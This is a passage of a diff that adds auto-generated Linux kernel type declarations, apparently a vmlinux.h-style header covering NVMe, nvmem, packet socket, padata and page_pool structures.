nvme_create_sq create_sq; + struct nvme_delete_queue delete_queue; + struct nvme_download_firmware dlfw; + struct nvme_format_cmd format; + struct nvme_dsm_cmd dsm; + struct nvme_write_zeroes_cmd write_zeroes; + struct nvme_zone_mgmt_send_cmd zms; + struct nvme_zone_mgmt_recv_cmd zmr; + struct nvme_abort_cmd abort; + struct nvme_get_log_page_command get_log_page; + struct nvmf_common_command fabrics; + struct nvmf_connect_command connect; + struct nvmf_property_set_command prop_set; + struct nvmf_property_get_command prop_get; + struct nvmf_auth_common_command auth_common; + struct nvmf_auth_send_command auth_send; + struct nvmf_auth_receive_command auth_receive; + struct nvme_dbbuf dbbuf; + struct nvme_directive_cmd directive; + }; +}; + +union nvme_result { + __le16 u16; + __le32 u32; + __le64 u64; +}; + +struct nvme_completion { + union nvme_result result; + __le16 sq_head; + __le16 sq_id; + __u16 command_id; + __le16 status; +}; + +struct nvme_core_quirk_entry { + u16 vid; + const char *mn; + const char *fr; + unsigned long quirks; +}; + +struct opal_dev; + +struct nvme_id_power_state { + __le16 max_power; + __u8 rsvd2; + __u8 flags; + __le32 entry_lat; + __le32 exit_lat; + __u8 read_tput; + __u8 read_lat; + __u8 write_tput; + __u8 write_lat; + __le16 idle_power; + __u8 idle_scale; + __u8 rsvd19; + __le16 active_power; + __u8 active_work_scale; + __u8 rsvd23[9]; +}; + +struct nvme_fault_inject {}; + +struct nvme_ctrl_ops; + +struct nvme_subsystem; + +struct nvme_effects_log; + +struct nvmf_ctrl_options; + +struct nvme_ctrl { + bool comp_seen; + bool identified; + bool passthru_err_log_enabled; + enum nvme_ctrl_state state; + spinlock_t lock; + struct mutex scan_lock; + const struct nvme_ctrl_ops *ops; + struct request_queue *admin_q; + struct request_queue *connect_q; + struct request_queue *fabrics_q; + struct device *dev; + int instance; + int numa_node; + struct blk_mq_tag_set *tagset; + struct blk_mq_tag_set *admin_tagset; + struct list_head namespaces; + struct mutex namespaces_lock; + struct srcu_struct srcu; + struct device ctrl_device; + struct device *device; + struct cdev cdev; + struct work_struct reset_work; + struct work_struct delete_work; + wait_queue_head_t state_wq; + struct nvme_subsystem *subsys; + struct list_head subsys_entry; + struct opal_dev *opal_dev; + u16 cntlid; + u16 mtfa; + u32 ctrl_config; + u32 queue_count; + u64 cap; + u32 max_hw_sectors; + u32 max_segments; + u32 max_integrity_segments; + u32 max_zeroes_sectors; + u16 crdt[3]; + u16 oncs; + u8 dmrl; + u32 dmrsl; + u16 oacs; + u16 sqsize; + u32 max_namespaces; + atomic_t abort_limit; + u8 vwc; + u32 vs; + u32 sgls; + u16 kas; + u8 npss; + u8 apsta; + u16 wctemp; + u16 cctemp; + u32 oaes; + u32 aen_result; + u32 ctratt; + unsigned int shutdown_timeout; + unsigned int kato; + bool subsystem; + unsigned long quirks; + struct nvme_id_power_state psd[32]; + struct nvme_effects_log *effects; + struct xarray cels; + struct work_struct scan_work; + struct work_struct async_event_work; + struct delayed_work ka_work; + struct delayed_work failfast_work; + struct nvme_command ka_cmd; + unsigned long ka_last_check_time; + struct work_struct fw_act_work; + unsigned long events; + key_serial_t tls_pskid; + u64 ps_max_latency_us; + bool apst_enabled; + u16 hmmaxd; + u32 hmpre; + u32 hmmin; + u32 hmminds; + u32 ioccsz; + u32 iorcsz; + u16 icdoff; + u16 maxcmd; + int nr_reconnects; + unsigned long flags; + struct nvmf_ctrl_options *opts; + struct page *discard_page; + unsigned long discard_page_busy; + struct nvme_fault_inject fault_inject; + enum nvme_ctrl_type cntrltype; + enum nvme_dctype dctype; +}; + +struct nvme_ctrl_ops { + const char *name; + struct module *module; + unsigned int flags; + const struct attribute_group **dev_attr_groups; + int (*reg_read32)(struct nvme_ctrl *, u32, u32 *); + int (*reg_write32)(struct nvme_ctrl *, u32, u32); + int (*reg_read64)(struct nvme_ctrl *, u32, u64 *); + void (*free_ctrl)(struct nvme_ctrl *); + void (*submit_async_event)(struct nvme_ctrl *); + int (*subsystem_reset)(struct nvme_ctrl *); + void (*delete_ctrl)(struct nvme_ctrl *); + void (*stop_ctrl)(struct nvme_ctrl *); + int (*get_address)(struct nvme_ctrl *, char *, int); + void (*print_device_info)(struct nvme_ctrl *); + bool (*supports_pci_p2pdma)(struct nvme_ctrl *); +}; + +union nvme_descriptor { + struct nvme_sgl_desc *sg_list; + __le64 *prp_list; +}; + +struct nvme_queue; + +struct nvme_host_mem_buf_desc; + +struct nvme_dev { + struct nvme_queue *queues; + struct blk_mq_tag_set tagset; + struct blk_mq_tag_set admin_tagset; + u32 *dbs; + struct device *dev; + struct dma_pool *prp_page_pool; + struct dma_pool *prp_small_pool; + unsigned int online_queues; + unsigned int max_qid; + unsigned int io_queues[3]; + unsigned int num_vecs; + u32 q_depth; + int io_sqes; + u32 db_stride; + void *bar; + unsigned long bar_mapped_size; + struct mutex shutdown_lock; + bool subsystem; + u64 cmb_size; + bool cmb_use_sqes; + u32 cmbsz; + u32 cmbloc; + struct nvme_ctrl ctrl; + u32 last_ps; + bool hmb; + mempool_t *iod_mempool; + __le32 *dbbuf_dbs; + dma_addr_t dbbuf_dbs_dma_addr; + __le32 *dbbuf_eis; + dma_addr_t dbbuf_eis_dma_addr; + u64 host_mem_size; + u32 nr_host_mem_descs; + dma_addr_t host_mem_descs_dma; + struct nvme_host_mem_buf_desc *host_mem_descs; + void **host_mem_desc_bufs; + unsigned int nr_allocated_queues; + unsigned int nr_write_queues; + unsigned int nr_poll_queues; +}; + +struct nvme_dsm_range { + __le32 cattr; + __le32 nlb; + __le64 slba; +}; + +struct nvme_effects_log { + __le32 acs[256]; + __le32 iocs[256]; + __u8 resv[2048]; +}; + +struct nvme_feat_auto_pst { + __le64 entries[32]; +}; + +struct nvme_feat_host_behavior { + __u8 acre; + __u8 etdas; + __u8 lbafee; + __u8 resv1[509]; +}; + +struct nvme_fw_slot_info_log { + __u8 afi; + __u8 rsvd1[7]; + __le64 frs[7]; + __u8 rsvd64[448]; +}; + +struct nvme_host_mem_buf_desc { + __le64 addr; + __le32 size; + __u32 rsvd; +}; + +struct nvme_id_ctrl { + __le16 vid; + __le16 ssvid; + char sn[20]; + char mn[40]; + char fr[8]; + __u8 rab; + __u8 ieee[3]; + __u8 cmic; + __u8 mdts; + __le16 cntlid; + __le32 ver; + __le32 rtd3r; + __le32 rtd3e; + __le32 oaes; + __le32 ctratt; + __u8 rsvd100[11]; + __u8 cntrltype; + __u8 fguid[16]; + __le16 crdt1; + __le16 crdt2; + __le16 crdt3; + __u8 rsvd134[122]; + __le16 oacs; + __u8 acl; + __u8 aerl; + __u8 frmw; + __u8 lpa; + __u8 elpe; + __u8 npss; + __u8 avscc; + __u8 apsta; + __le16 wctemp; + __le16 cctemp; + __le16 mtfa; + __le32 hmpre; + __le32 hmmin; + __u8 tnvmcap[16]; + __u8 unvmcap[16]; + __le32 rpmbs; + __le16 edstt; + __u8 dsto; + __u8 fwug; + __le16 kas; + __le16 hctma; + __le16 mntmt; + __le16 mxtmt; + __le32 sanicap; + __le32 hmminds; + __le16 hmmaxd; + __u8 rsvd338[4]; + __u8 anatt; + __u8 anacap; + __le32 anagrpmax; + __le32 nanagrpid; + __u8 rsvd352[160]; + __u8 sqes; + __u8 cqes; + __le16 maxcmd; + __le32 nn; + __le16 oncs; + __le16 fuses; + __u8 fna; + __u8 vwc; + __le16 awun; + __le16 awupf; + __u8 nvscc; + __u8 nwpc; + __le16 acwu; + __u8 rsvd534[2]; + __le32 sgls; + __le32 mnan; + __u8 rsvd544[224]; + char subnqn[256]; + __u8 rsvd1024[768]; + __le32 ioccsz; + __le32 iorcsz; + __le16 icdoff; + __u8 ctrattr; + __u8 msdbd; + __u8 rsvd1804[2]; + __u8 dctype; + __u8 rsvd1807[241]; + struct nvme_id_power_state psd[32]; + __u8 vs[1024]; +}; + +struct nvme_id_ctrl_nvm { + __u8 vsl; + __u8 wzsl; + __u8 wusl; + __u8 dmrl; + __le32 dmrsl; + __le64 dmsl; + __u8 rsvd16[4080]; +}; + +struct nvme_lbaf { + __le16 ms; + __u8 ds; + __u8 rp; +}; + +struct nvme_id_ns { + __le64 nsze; + __le64 ncap; + __le64 nuse; + __u8 nsfeat; + __u8 nlbaf; + __u8 flbas; + __u8 mc; + __u8 dpc; + __u8 dps; + __u8 nmic; + __u8 rescap; + __u8 fpi; + __u8 dlfeat; + __le16 nawun; + __le16 nawupf; + __le16 nacwu; + __le16 nabsn; + __le16 nabo; + __le16 nabspf; + __le16 noiob; + __u8 nvmcap[16]; + __le16 npwg; + __le16 npwa; + __le16 npdg; + __le16 npda; + __le16 nows; + __u8 rsvd74[18]; + __le32 anagrpid; + __u8 rsvd96[3]; + __u8 nsattr; + __le16 nvmsetid; + __le16 endgid; + __u8 nguid[16]; + __u8 eui64[8]; + struct nvme_lbaf lbaf[64]; + __u8 vs[3712]; +}; + +struct nvme_id_ns_cs_indep { + __u8 nsfeat; + __u8 nmic; + __u8 rescap; + __u8 fpi; + __le32 anagrpid; + __u8 nsattr; + __u8 rsvd9; + __le16 nvmsetid; + __le16 endgid; + __u8 nstat; + __u8 rsvd15[4081]; +}; + +struct nvme_id_ns_nvm { + __le64 lbstm; + __u8 pic; + __u8 rsvd9[3]; + __le32 elbaf[64]; + __u8 rsvd268[3828]; +}; + +struct nvme_request { + struct nvme_command *cmd; + union nvme_result result; + u8 genctr; + u8 retries; + u8 flags; + u16 status; + struct nvme_ctrl *ctrl; +}; + +struct sg_table { + struct scatterlist *sgl; + unsigned int nents; + unsigned int orig_nents; +}; + +struct nvme_iod { + struct nvme_request req; + struct nvme_command cmd; + bool aborted; + s8 nr_allocations; + unsigned int dma_len; + dma_addr_t first_dma; + dma_addr_t meta_dma; + struct sg_table sgt; + union nvme_descriptor list[5]; +}; + +struct nvme_ns_head; + +struct nvme_ns { + struct list_head list; + struct nvme_ctrl *ctrl; + struct request_queue *queue; + struct gendisk *disk; + struct list_head siblings; + struct kref kref; + struct nvme_ns_head *head; + unsigned long flags; + struct cdev cdev; + struct device cdev_device; + struct nvme_fault_inject fault_inject; +}; + +struct nvme_ns_ids { + u8 eui64[8]; + u8 nguid[16]; + uuid_t uuid; + u8 csi; +}; + +struct nvme_ns_head { + struct list_head list; + struct srcu_struct srcu; + struct nvme_subsystem *subsys; + struct nvme_ns_ids ids; + u8 lba_shift; + u16 ms; + u16 pi_size; + u8 pi_type; + u8 guard_type; + struct list_head entry; + struct kref ref; + bool shared; + bool passthru_err_log_enabled; + struct nvme_effects_log *effects; + u64 nuse; + unsigned int ns_id; + int instance; + unsigned long features; + struct ratelimit_state rs_nuse; + struct cdev cdev; + struct device cdev_device; + struct gendisk *disk; +}; + +struct nvme_ns_id_desc { + __u8 nidt; + __u8 nidl; + __le16 reserved; +}; + +struct nvme_ns_info { + struct nvme_ns_ids ids; + u32 nsid; + __le32 anagrpid; + u8 pi_offset; + bool is_shared; + bool is_readonly; + bool is_ready; + bool is_removed; +}; + +struct nvme_passthru_cmd { + __u8 opcode; + __u8 flags; + __u16 rsvd1; + __u32 nsid; + __u32 cdw2; + __u32 cdw3; + __u64 metadata; + __u64 addr; + __u32 metadata_len; + __u32 data_len; + __u32 cdw10; + __u32 cdw11; + __u32 cdw12; + __u32 cdw13; + __u32 cdw14; + __u32 cdw15; + __u32 timeout_ms; + __u32 result; +}; + +struct nvme_passthru_cmd64 { + __u8 opcode; + __u8 flags; + __u16 rsvd1; + __u32 nsid; + __u32 cdw2; + __u32 cdw3; + __u64 metadata; + __u64 addr; + __u32 metadata_len; + union { + __u32 data_len; + __u32 vec_cnt; + }; + __u32 cdw10; + __u32 cdw11; + __u32 cdw12; + __u32 cdw13; + __u32 cdw14; + __u32 cdw15; + __u32 timeout_ms; + __u32 rsvd2; + __u64 result; +}; + +struct nvme_queue { + struct nvme_dev *dev; + spinlock_t sq_lock; + void *sq_cmds; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + spinlock_t cq_poll_lock; + struct nvme_completion *cqes; + dma_addr_t sq_dma_addr; + dma_addr_t cq_dma_addr; + u32 *q_db; + u32 q_depth; + u16 cq_vector; + u16 sq_tail; + u16 last_sq_tail; + u16 cq_head; + u16 qid; + u8 cq_phase; + u8 sqes; + unsigned long flags; + __le32 *dbbuf_sq_db; + __le32 *dbbuf_cq_db; + __le32 *dbbuf_sq_ei; + __le32 *dbbuf_cq_ei; + struct completion delete_done; + long: 64; + long: 64; +}; + +struct nvme_registered_ctrl { + __le16 cntlid; + __u8 rcsts; + __u8 rsvd3[5]; + __le64 hostid; + __le64 rkey; +}; + +struct nvme_registered_ctrl_ext { + __le16 cntlid; + __u8 rcsts; + __u8 rsvd3[5]; + __le64 rkey; + __u8 hostid[16]; + __u8 rsvd32[32]; +}; + +struct nvme_reservation_status { + __le32 gen; + __u8 rtype; + __u8 regctl[2]; + __u8 resv5[2]; + __u8 ptpls; + __u8 resv10[14]; + struct nvme_registered_ctrl regctl_ds[0]; +}; + +struct nvme_reservation_status_ext { + __le32 gen; + __u8 rtype; + __u8 regctl[2]; + __u8 resv5[2]; + __u8 ptpls; + __u8 resv10[14]; + __u8 rsvd24[40]; + struct nvme_registered_ctrl_ext regctl_eds[0]; +}; + +struct nvme_subsystem { + int instance; + struct device dev; + struct kref ref; + struct list_head entry; + struct mutex lock; + struct list_head ctrls; + struct list_head nsheads; + char subnqn[223]; + char serial[20]; + char model[40]; + char firmware_rev[8]; + u8 cmic; + enum nvme_subsys_type subtype; + u16 vendor_id; + u16 awupf; + struct ida ns_ida; +}; + +struct nvme_uring_cmd { + __u8 opcode; + __u8 flags; + __u16 rsvd1; + __u32 nsid; + __u32 cdw2; + __u32 cdw3; + __u64 metadata; + __u64 addr; + __u32 metadata_len; + __u32 data_len; + __u32 cdw10; + __u32 cdw11; + __u32 cdw12; + __u32 cdw13; + __u32 cdw14; + __u32 cdw15; + __u32 timeout_ms; + __u32 rsvd2; +}; + +struct nvme_uring_cmd_pdu { + struct request *req; + struct bio *bio; + u64 result; + int status; +}; + +struct nvme_uring_data { + __u64 metadata; + __u64 addr; + __u32 data_len; + __u32 metadata_len; + __u32 timeout_ms; +}; + +struct nvme_user_io { + __u8 opcode; + __u8 flags; + __u16 control; + __u16 nblocks; + __u16 rsvd; + __u64 metadata; + __u64 addr; + __u64 slba; + __u32 dsmgmt; + __u32 reftag; + __u16 apptag; + __u16 appmask; +}; + +struct nvme_zone_info { + u64 zone_size; + unsigned int max_open_zones; + unsigned int max_active_zones; +}; + +struct nvmem_cell_entry; + +struct nvmem_cell { + struct nvmem_cell_entry *entry; + const char *id; + int index; +}; + +typedef int (*nvmem_cell_post_process_t)(void *, const char *, int, unsigned int, void *, size_t); + +struct nvmem_device; + +struct nvmem_cell_entry { + const char *name; + int offset; + size_t raw_len; + int bytes; + int bit_offset; + int nbits; + nvmem_cell_post_process_t read_post_process; + void *priv; + struct device_node *np; + struct nvmem_device *nvmem; + struct list_head node; +}; + +struct nvmem_cell_info { + const char *name; + unsigned int offset; + size_t raw_len; + unsigned int bytes; + unsigned int bit_offset; + unsigned int nbits; + struct device_node *np; + nvmem_cell_post_process_t read_post_process; + void *priv; +}; + +struct nvmem_cell_lookup { + const char *nvmem_name; + const char *cell_name; + const char *dev_id; + const char *con_id; + struct list_head node; +}; + +struct nvmem_cell_table { + const char *nvmem_name; + const struct nvmem_cell_info *cells; + size_t ncells; + struct list_head node; +}; + +typedef int (*nvmem_reg_read_t)(void *, unsigned int, void *, size_t); + +typedef int (*nvmem_reg_write_t)(void *, unsigned int, void *, size_t); + +struct nvmem_keepout; + +struct nvmem_layout; + +struct nvmem_config { + struct device *dev; + const char *name; + int id; + struct module *owner; + const struct nvmem_cell_info *cells; + int ncells; + bool add_legacy_fixed_of_cells; + void (*fixup_dt_cell_info)(struct nvmem_device *, struct nvmem_cell_info *); + const struct nvmem_keepout *keepout; + unsigned int nkeepout; + enum nvmem_type type; + bool read_only; + bool root_only; + bool ignore_wp; + struct nvmem_layout *layout; + struct device_node *of_node; + nvmem_reg_read_t reg_read; + nvmem_reg_write_t reg_write; + int size; + int word_size; + int stride; + void *priv; + bool compat; + struct device *base_dev; +}; + +struct nvmem_device { + struct module *owner; + struct device dev; + struct list_head node; + int stride; + int word_size; + int id; + struct kref refcnt; + size_t size; + bool read_only; + bool root_only; + int flags; + enum nvmem_type type; + struct bin_attribute eeprom; + struct device *base_dev; + struct list_head cells; + void (*fixup_dt_cell_info)(struct nvmem_device *, struct nvmem_cell_info *); + const struct nvmem_keepout *keepout; + unsigned int nkeepout; + nvmem_reg_read_t reg_read; + nvmem_reg_write_t reg_write; + struct gpio_desc *wp_gpio; + struct nvmem_layout *layout; + void *priv; + bool sysfs_cells_populated; +}; + +struct nvmem_keepout { + unsigned int start; + unsigned int end; + unsigned char value; +}; + +struct nvmem_layout { + struct device dev; + struct nvmem_device *nvmem; + int (*add_cells)(struct nvmem_layout *); +}; + +struct nvmf_host; + +struct nvmf_ctrl_options { + unsigned int mask; + int max_reconnects; + char *transport; + char *subsysnqn; + char *traddr; + char *trsvcid; + char *host_traddr; + char *host_iface; + size_t queue_size; + unsigned int nr_io_queues; + unsigned int reconnect_delay; + bool discovery_nqn; + bool duplicate_connect; + unsigned int kato; + struct nvmf_host *host; + char *dhchap_secret; + char *dhchap_ctrl_secret; + struct key *keyring; + struct key *tls_key; + bool tls; + bool disable_sqflow; + bool hdr_digest; + bool data_digest; + unsigned int nr_write_queues; + unsigned int nr_poll_queues; + int tos; + int fast_io_fail_tmo; +}; + +struct nvmf_host { + struct kref ref; + struct list_head list; + char nqn[223]; + uuid_t id; +}; + +struct nvs_page { + unsigned long phys_start; + unsigned int size; + void *kaddr; + void *data; + bool unmap; + struct list_head node; +}; + +struct nvs_region { + __u64 phys_start; + __u64 size; + struct list_head node; +}; + +struct obj_cgroup { + struct percpu_ref refcnt; + struct mem_cgroup *memcg; + atomic_t nr_charged_bytes; + union { + struct list_head list; + struct callback_head rcu; + }; +}; + +struct objpool_head; + +typedef int (*objpool_fini_cb)(struct objpool_head *, void *); + +struct objpool_slot; + +struct objpool_head { + int obj_size; + int nr_objs; + int nr_possible_cpus; + int capacity; + gfp_t gfp; + refcount_t ref; + unsigned long flags; + struct objpool_slot **cpu_slots; + objpool_fini_cb release; + void *context; +}; + +struct objpool_slot { + uint32_t head; + uint32_t tail; + uint32_t last; + uint32_t mask; + void *entries[0]; +}; + +struct obs_kernel_param { + const char *str; + int (*setup_func)(char *); + int early; +}; + +struct ocb_setup { + struct cfg80211_chan_def chandef; +}; + +struct od_dbs_tuners { + unsigned int powersave_bias; +}; + +struct od_ops { + unsigned int (*powersave_bias_target)(struct cpufreq_policy *, unsigned int, unsigned int); +}; + +struct od_policy_dbs_info { + struct policy_dbs_info policy_dbs; + unsigned int freq_lo; + unsigned int freq_lo_delay_us; + unsigned int freq_hi_delay_us; + unsigned int sample_type: 1; +}; + +struct of_device_id { + char name[32]; + char type[32]; + char compatible[128]; + const void *data; +}; + +struct of_phandle_args { + struct device_node *np; + int args_count; + uint32_t args[16]; +}; + +struct offset_ctx { + struct maple_tree mt; + unsigned long next_offset; +}; + +struct old_timespec32 { + old_time32_t tv_sec; + s32 tv_nsec; +}; + +struct old_itimerspec32 { + struct old_timespec32 it_interval; + struct old_timespec32 it_value; +}; + +struct old_linux_dirent { + unsigned long d_ino; + unsigned long d_offset; + unsigned short d_namlen; + char d_name[0]; +}; + +struct old_serial_port { + unsigned int uart; + unsigned int baud_base; + unsigned int port; + unsigned int irq; + upf_t flags; + unsigned char io_type; + unsigned char *iomem_base; + unsigned short iomem_reg_shift; +}; + +struct old_timeval32 { + old_time32_t tv_sec; + s32 tv_usec; +}; + +struct old_utsname { + char sysname[65]; + char nodename[65]; + char release[65]; + char version[65]; + char machine[65]; +}; + +struct oldold_utsname { + char sysname[9]; + char nodename[9]; + char release[9]; + char version[9]; + char machine[9]; +}; + +struct once_work { + struct work_struct work; + struct static_key_true *key; + struct module *module; +}; + +struct online_data { + unsigned int cpu; + bool online; +}; + +struct oom_control { + struct zonelist *zonelist; + nodemask_t *nodemask; + struct mem_cgroup *memcg; + const gfp_t gfp_mask; + const int order; + unsigned long totalpages; + struct task_struct *chosen; + long chosen_points; + enum oom_constraint constraint; +}; + +struct open_flags { + int open_flag; + umode_t mode; + int acc_mode; + int intent; + int lookup_flags; +}; + +struct optimistic_spin_node { + struct optimistic_spin_node *next; + struct optimistic_spin_node *prev; + int locked; + int cpu; +}; + +struct optimized_kprobe { + struct kprobe kp; + struct list_head list; + struct arch_optimized_insn optinsn; +}; + +struct orc_entry { + s16 sp_offset; + s16 bp_offset; + unsigned int sp_reg: 4; + unsigned int bp_reg: 4; + unsigned int type: 3; + unsigned int signal: 1; +} __attribute__((packed)); + +struct orlov_stats { + __u64 free_clusters; + __u32 free_inodes; + __u32 used_dirs; +}; + +struct orphan_dir_info { + struct rb_node node; + u64 ino; + u64 gen; + u64 last_dir_index_offset; + u64 dir_high_seq_ino; +}; + +struct osnoise_entry { + struct trace_entry ent; + u64 noise; + u64 runtime; + u64 max_sample; + unsigned int hw_count; + unsigned int nmi_count; + unsigned int irq_count; + unsigned int softirq_count; + unsigned int thread_count; +}; + +struct x86_cpu_id { + __u16 vendor; + __u16 family; + __u16 model; + __u16 steppings; + __u16 feature; + __u16 flags; + kernel_ulong_t driver_data; +}; + +struct override_status_id { + struct acpi_device_id hid[2]; + struct x86_cpu_id cpu_ids[2]; + struct dmi_system_id dmi_ids[2]; + const char *uid; + const char *path; + unsigned long long status; +}; + +struct p2sb_res_cache { + u32 bus_dev_id; + struct resource res; +}; + +struct p4_event_alias { + u64 original; + u64 alternative; +}; + +struct p4_event_bind { + unsigned int opcode; + unsigned int escr_msr[2]; + unsigned int escr_emask; + unsigned int shared; + signed char cntr[6]; +}; + +struct p4_pebs_bind { + unsigned int metric_pebs; + unsigned int metric_vert; +}; + +struct pacct_struct { + int ac_flag; + long ac_exitcode; + unsigned long ac_mem; + u64 ac_utime; + u64 ac_stime; + unsigned long ac_minflt; + unsigned long ac_majflt; +}; + +struct packet_fanout { + possible_net_t net; + unsigned int num_members; + u32 max_num_members; + u16 id; + u8 type; + u8 flags; + union { + atomic_t rr_cur; + struct bpf_prog __attribute__((btf_type_tag("rcu"))) *bpf_prog; + }; + struct list_head list; + spinlock_t lock; + refcount_t sk_ref; + long: 64; + struct packet_type prot_hook; + struct sock __attribute__((btf_type_tag("rcu"))) *arr[0]; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +struct packet_mclist { + struct packet_mclist *next; + int ifindex; + int count; + unsigned short type; + unsigned short alen; + unsigned char addr[32]; +}; + +struct packet_mreq_max { + int mr_ifindex; + unsigned short mr_type; + unsigned short mr_alen; + unsigned char mr_address[32]; +}; + +struct pgv; + +struct tpacket_kbdq_core { + struct pgv *pkbdq; + unsigned int feature_req_word; + unsigned int hdrlen; + unsigned char reset_pending_on_curr_blk; + unsigned char delete_blk_timer; + unsigned short kactive_blk_num; + unsigned short blk_sizeof_priv; + unsigned short last_kactive_blk_num; + char *pkblk_start; + char *pkblk_end; + int kblk_size; + unsigned int max_frame_len; + unsigned int knum_blocks; + uint64_t knxt_seq_num; + char *prev; + char *nxt_offset; + struct sk_buff *skb; + rwlock_t blk_fill_in_prog_lock; + unsigned short retire_blk_tov; + unsigned short version; + unsigned long tov_in_jiffies; + struct timer_list retire_blk_timer; +}; + +struct packet_ring_buffer { + struct pgv *pg_vec; + unsigned int head; + unsigned int frames_per_block; + unsigned int frame_size; + unsigned int frame_max; + unsigned int pg_vec_order; + unsigned int pg_vec_pages; + unsigned int pg_vec_len; + unsigned int __attribute__((btf_type_tag("percpu"))) *pending_refcnt; + union { + unsigned long *rx_owner_map; + struct tpacket_kbdq_core prb_bdqc; + }; +}; + +struct packet_rollover { + int sock; + atomic_long_t num; + atomic_long_t num_huge; + atomic_long_t num_failed; + long: 64; + long: 64; + long: 64; + long: 64; + u32 history[16]; +}; + +struct sockaddr_pkt { + unsigned short spkt_family; + unsigned char spkt_device[14]; + __be16 spkt_protocol; +}; + +struct sockaddr_ll { + unsigned short sll_family; + __be16 sll_protocol; + int sll_ifindex; + unsigned short sll_hatype; + unsigned char sll_pkttype; + unsigned char sll_halen; + unsigned char sll_addr[8]; +}; + +struct packet_skb_cb { + union { + struct sockaddr_pkt pkt; + union { + unsigned int origlen; + struct sockaddr_ll ll; + }; + } sa; +}; + +struct tpacket_stats { + unsigned int tp_packets; + unsigned int tp_drops; +}; + +struct tpacket_stats_v3 { + unsigned int tp_packets; + unsigned int tp_drops; + unsigned int tp_freeze_q_cnt; +}; + +union tpacket_stats_u { + struct tpacket_stats stats1; + struct tpacket_stats_v3 stats3; +}; + +struct packet_sock { + struct sock sk; + struct packet_fanout *fanout; + union tpacket_stats_u stats; + struct packet_ring_buffer rx_ring; + struct packet_ring_buffer tx_ring; + int copy_thresh; + spinlock_t bind_lock; + struct mutex pg_vec_lock; + unsigned long flags; + int ifindex; + u8 vnet_hdr_sz; + __be16 num; + struct packet_rollover *rollover; + struct packet_mclist *mclist; + atomic_long_t mapped; + enum tpacket_versions tp_version; + unsigned int tp_hdrlen; + unsigned int tp_reserve; + unsigned int tp_tstamp; + struct completion skb_completion; + struct net_device __attribute__((btf_type_tag("rcu"))) *cached_dev; + struct packet_type prot_hook; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + atomic_t tp_drops; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +struct padata_cpumask { + cpumask_var_t pcpu; + cpumask_var_t cbcpu; +}; + +struct padata_instance { + struct hlist_node cpu_online_node; + struct hlist_node cpu_dead_node; + struct workqueue_struct *parallel_wq; + struct workqueue_struct *serial_wq; + struct list_head pslist; + struct padata_cpumask cpumask; + struct kobject kobj; + struct mutex lock; + u8 flags; +}; + +struct padata_list { + struct list_head list; + spinlock_t lock; +}; + +struct padata_mt_job { + void (*thread_fn)(unsigned long, unsigned long, void *); + void *fn_arg; + unsigned long start; + unsigned long size; + unsigned long align; + unsigned long min_chunk; + int max_threads; + bool numa_aware; +}; + +struct padata_mt_job_state { + spinlock_t lock; + struct completion completion; + struct padata_mt_job *job; + int nworks; + int nworks_fini; + unsigned long chunk_size; +}; + +struct parallel_data; + +struct padata_priv { + struct list_head list; + struct parallel_data *pd; + int cb_cpu; + unsigned int seq_nr; + int info; + void (*parallel)(struct padata_priv *); + void (*serial)(struct padata_priv *); +}; + +struct padata_serial_queue { + struct padata_list serial; + struct work_struct work; + struct parallel_data *pd; +}; + +struct padata_shell { + struct padata_instance *pinst; + struct parallel_data __attribute__((btf_type_tag("rcu"))) *pd; + struct parallel_data *opd; + struct list_head list; +}; + +struct padata_sysfs_entry { + struct attribute attr; + ssize_t (*show)(struct padata_instance *, struct attribute *, char *); + ssize_t (*store)(struct padata_instance *, struct attribute *, const char *, size_t); +}; + +struct padata_work { + struct work_struct pw_work; + struct list_head pw_list; + void *pw_data; +}; + +typedef struct page *pgtable_t; + +struct printf_spec; + +struct page_flags_fields { + int width; + int shift; + int mask; + const struct printf_spec *spec; + const char *name; +}; + +struct page_list { + struct page_list *next; + struct page *page; +}; + +struct page_pool_params_fast { + unsigned int order; + unsigned int pool_size; + int nid; + struct device *dev; + struct napi_struct *napi; + enum dma_data_direction dma_dir; + unsigned int max_len; + unsigned int offset; +}; + +struct page_pool_alloc_stats { + u64 fast; + u64 slow; + u64 slow_high_order; + u64 empty; + u64 refill; + u64 waive; +}; + +struct pp_alloc_cache { + u32 count; + netmem_ref cache[128]; +}; + +struct ptr_ring { + int producer; + spinlock_t producer_lock; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + int consumer_head; + int consumer_tail; + spinlock_t consumer_lock; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + int size; + int batch; + void **queue; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +struct page_pool_params_slow { + struct net_device *netdev; + unsigned int queue_idx; + unsigned int flags; + void (*init_callback)(netmem_ref, void *); + void *init_arg; +}; + +struct page_pool_recycle_stats; + +struct page_pool { + struct page_pool_params_fast p; + int cpuid; + u32 pages_state_hold_cnt; + bool has_init_callback: 1; + bool dma_map: 1; + bool dma_sync: 1; + bool system: 1; + long: 0; + __u8 __cacheline_group_begin__frag[0]; + long frag_users; + netmem_ref frag_page; + unsigned int frag_offset; + long: 0; + __u8 __cacheline_group_end__frag[0]; + long: 64; + struct {} __cacheline_group_pad__frag; + struct delayed_work release_dw; + void (*disconnect)(void *); + unsigned long defer_start; + unsigned long defer_warn; + struct page_pool_alloc_stats alloc_stats; + u32 xdp_mem_id; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + struct pp_alloc_cache alloc; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + struct ptr_ring ring; + void *mp_priv; + struct page_pool_recycle_stats __attribute__((btf_type_tag("percpu"))) *recycle_stats; + atomic_t pages_state_release_cnt; + refcount_t user_cnt; + u64 destroy_cnt; + struct page_pool_params_slow slow; + struct { + struct hlist_node list; + u64 detach_time; + u32 napi_id; + u32 id; + } user; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +struct page_pool_dump_cb { + unsigned long ifindex; + u32 pp_id; +}; + +struct page_pool_params { + union { + struct { + unsigned int order; + unsigned int pool_size; + int nid; + struct device *dev; + struct napi_struct *napi; + enum dma_data_direction dma_dir; + unsigned int max_len; + unsigned int offset; + }; + struct page_pool_params_fast fast; + }; + union { + struct { + struct net_device *netdev; + unsigned int queue_idx; + unsigned int flags; + void (*init_callback)(netmem_ref, void *); + void 